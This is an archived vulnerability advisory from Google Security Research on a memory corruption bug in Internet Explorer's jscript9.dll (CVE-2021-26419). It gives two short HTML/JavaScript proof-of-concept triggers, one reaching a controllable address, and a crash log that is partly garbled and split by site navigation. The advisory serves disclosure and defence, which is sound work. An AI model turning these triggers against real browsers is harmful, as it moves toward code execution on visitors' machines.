

[Follow us on Twitter](#)[Subscribe to an RSS Feed](#)

Internet Explorer jscript9.dll Memory Corruption

Authored by [Ivan Fratric](#), [Google Security Research](#)Posted [May 13, 2021](#)

There is a vulnerability in jscript9 that could be potentially used by an attacker to execute arbitrary code when viewing an attacker-controlled website in Internet Explorer. The vulnerability has been confirmed on Windows 10 64-bit with the latest security patches applied.

tags | [exploit](#), [arbitrary](#)
systems | [windows](#)
advisories | [CVE-2021-26419](#)

SHA-256 | [a69629e9e2a8eed322ffb78022a68eb8a35d57aa71fce77bfd75edc522377bec](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

[Like](#)[Tweet](#)[Linked In](#)[Reddit](#)[Digg](#)[StumbleUpon](#)

[Change Mirror](#)[Download](#)

Internet Explorer: Memory corruption in jscript9.dll related to scope of the arguments object

There is a vulnerability in jscript9 that could be potentially used by an attacker to execute arbitrary code when viewing attacker-controlled website in Internet Explorer. The vulnerability has been confirmed on Windows 10 64-bit with the latest security patches applied.

The following minimal sample is sufficient to trigger the bug:

```
*****
<!-- saved from url=(0014)about:internet -->
<script>

function main() {
    function v4(v5,v6) {
        with (i) {
            arguments();
        }
    }
    for(var i=0; i <1; i++) v4(1);
}
alert('start');
main();
alert('end');
</script>

*****

When this sample is opened with Internet Explorer, it crashes inside
jscript9!Js::JavaScriptFunction::CallFunction<1> when dereferencing memory pointed to by eax.

jscript9!Js::JavaScriptFunction::CallFunction<1>*0x39:
68c2d6e9 8bb50020000    mov     edi,dword ptr [eax+250h] ds:002b:00000250-????????

On the first glance, it might look like a null pointer dereference, however the value of eax in this case was read from uninitialized memory. There are also different ways to trigger the crash when accessing the arguments object. The following sample demonstrates a crash when reading from a controllable address:

*****
<!-- saved from url=(0014)about:internet -->
<script>

function test() {
    test.caller.arguments.length = (0x13371337>>1);
}

function main() {
    function v4(v5,v6) {
        test();
        with (i) {
            arguments.length;
            arguments();
        }
    }
    for(var i=0; i <1; i++) v4(1);
}
alert('start');
main();
alert('end');
</script>

*****

This sample crashes in Js::JavaScriptOperators::GetProperty_Internal when dereferencing address 0x13371337+40h:

jscript9!Js::JavaScriptOperators::GetProperty_Internal<0>*0x35:
68b578b5 8b7840        mov     edi,dword ptr [eax+40h] ds:002b:13371377-????????

The value read this way is used as a pointer pointer, thus demonstrating the vulnerability could be used for code execution.

I haven't done the full root cause analysis (it will be easier to do with proper debug tooling for jscript9), but in both cases, the operations on 'arguments' object end up being performed on incorrect data. I suspect this is related to changing the scope, e.g. accessing an object at an incorrect stack slot due to scope change. Another possibility could be an incorrectly initialised arguments object or the corresponding local variable.

Full debug log:

*****
(1654.14e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=13371337 ebx=0910bbe0 ecx=0910bbe0 edx=0910bbe0 esi=092b8240 edi=00000000
eip=68b578b5 esp=053bc578 ebp=053bc590 iopl=0         nv up ei pl zr na pe nc
cs=0023  as=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
jscript9!Js::JavaScriptOperators::GetProperty_Internal<0>*0x35:
68b578b5 8b7840        mov     edi,dword ptr [eax+40h] ds:002b:13371377-????????

0:009> k
# Ch1lDEBP RetAddr
00 053bc590 68b69075 jscript9!Js::JavaScriptOperators::GetProperty_Internal<0>*0x35
01 053bc5d6 68b9d194 jscript9!Js::InterpreterStackFrame::OP_ProfiledLdLen<Js::OpLayoutReg2_OneByte>*0x1f5
02 053bc608 68b9c102 jscript9!Js::InterpreterStackFrame::Process*0x7fd
03 053bc744 0b9a0fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>*0x242
WARNING: Frame IP not in any known module. Following frames may be wrong.
04 053bc750 68c2d743 0xb9a0fd9
05 053bc798 68b9ff61 jscript9!Js::JavaScriptFunction::CallFunction<1>*0x93
06 053bc7c8 68b9cb53 jscript9!Js::InterpreterStackFrame::OP_ProfiledCallI<Js::OpLayoutCallI_OneByte>*0x121
07 053bc7f8 68b9c102 jscript9!Js::InterpreterStackFrame::Process*0x1b3
08 053bc934 0b9a0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>*0x242
09 053bc940 68c2d743 0xb9a0fe1
0a 053bc988 68b9ff61 jscript9!Js::JavaScriptFunction::CallFunction<1>*0x93
0b 053bc9b8 68b9cb53 jscript9!Js::InterpreterStackFrame::OP_ProfiledCallI<Js::OpLayoutCallI_OneByte>*0x121
0c 053bc9e8 68b9c102 jscript9!Js::InterpreterStackFrame::Process*0x1b3
0d 053bc14 0b9a0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>*0x242
0e 053bc20 68c2d743 0xb9a0fe9
0f 053bc2b0 68b4eca9 jscript9!Js::JavaScriptFunction::CallFunction<1>*0x93
10 053bc2bd 68b4ebbc jscript9!Js::JavaScriptFunction::CallRootFunctionInternal*0xb5
11 053bc2c 68b4ebc6 jscript9!Js::JavaScriptFunction::CallRootFunctionInternal*0x4d
12 053bc74 68b4eabd jscript9!ScriptSite::CallRootFunction*0x42
13 053bc2c0 68b5256e jscript9!ScriptSite::Execute*0xae
14 053bc2d8 68b4e9aa jscript9!ScriptEngine::ExecutePendingScripts*0x1bf
15 053bc2de 68c27cc9 jscript9!ScriptEngine::ParseScriptTextCore*0x32c
16 053bc30 695a9cc1 jscript9!ScriptEngine::ParseScriptText*0x5a
17 053bc2e8 694a0493 MSHTML!InitializeLocalHtmlEngine*0x1f1
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 201 files	
Ubuntu 78 files	
Debian 24 files	
LiquidWorm 23 files	
malvuln 12 files	
nu11security 11 files	
Gentoo 9 files	
Google Security Research 8 files	
T. Weber 4 files	
Julien Ahrens 4 files	

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946)

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)

Protocol (3,435)

Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
18 053bcec0 694b7fe7 MSHTML!GetWebPlatformObject+0x16c93
19 053bdcf30 694b8493 MSHTML!GetWebPlatformObject+0x2e7e7
1a 053bd01c 694b87be MSHTML!GetWebPlatformObject+0x2ec93
1b 053bd098 694b8146 MSHTML!GetWebPlatformObject+0x2efbe
1c 053bd0b8 694d79d9 MSHTML!GetWebPlatformObject+0x2e946
1d 053bd110 694d6bb9 MSHTML!UninitializeLocalHtmlEngine+0x8b49
1e 053bd134 694d653e MSHTML!UninitializeLocalHtmlEngine+0x7d29
1f 053bd25c 695d4891 MSHTML!UninitializeLocalHtmlEngine+0x76ae
20 053bd27c 695d47fb MSHTML!Dll1GetClassObject+0x7291
21 053bd29c 695d478d MSHTML!Dll1GetClassObject+0x71fb
22 053bd2e8 695d46a7 MSHTML!Dll1GetClassObject+0x718d
23 053bd300 695d0ccc MSHTML!Dll1GetClassObject+0x70a7
24 053bd378 6967d357 MSHTML!TravelLogCreateInstance+0x25cec
25 053bd3c8 69510f32 MSHTML!Dll1CanUnloadNow+0x13957
26 053bd3e4 76d0ef5b MSHTML!TravelLogCreateInstance+0x28f52
27 053bd410 76d05eca USER32!InternalCallWinProc+0x2b
28 053bd4f4 76d03c3a USER32!UserCallWinProcCheckWow+0x33a
29 053bd568 76d03a00 USER32!DispatchMessageWorker+0x22a
2a 053bd574 6ad32cd4 USER32!DispatchMessageW+0x10
2b 053bf720 6ad31db3 IEFRAME!Ordinal1245+0x1cb4
2c 053bf7e0 6a5bcb2c IEFRAME!Ordinal1245+0xd93
2d 053bf7f8 731e26ed msIsao+0x1cb2c
2e 053bf830 756cfa29 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d
2f 053bf840 770676b4 KERNEL32!BaseThreadInitThunk+0x19
30 053bf89c 770676b4 ntdll!RtlGetAppContainerNamedObjectPath+0xe4
31 053bf8ac 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0xb4

*****

This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2021-05-13. Disclosure at an earlier date is possible if
agreed upon by all parties.

Related CVE Numbers: CVE-2021-26419.

Found by: ifratic@google.com
```

- Spoof (2,166) SUSE (1,444)
- SQL Injection (16,102) Ubuntu (8,199)
- TCP (2,379) UNIX (9,159)
- Trojan (686) UnixWare (185)
- UDP (876) Windows (6,511)
- Virus (662) Other
- Vulnerability (31,136)
- Web (9,365)
- Whitepaper (3,729)
- x86 (946)
- XSS (17,494)
- Other

[Login](#) or [Register](#) to add favorites

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed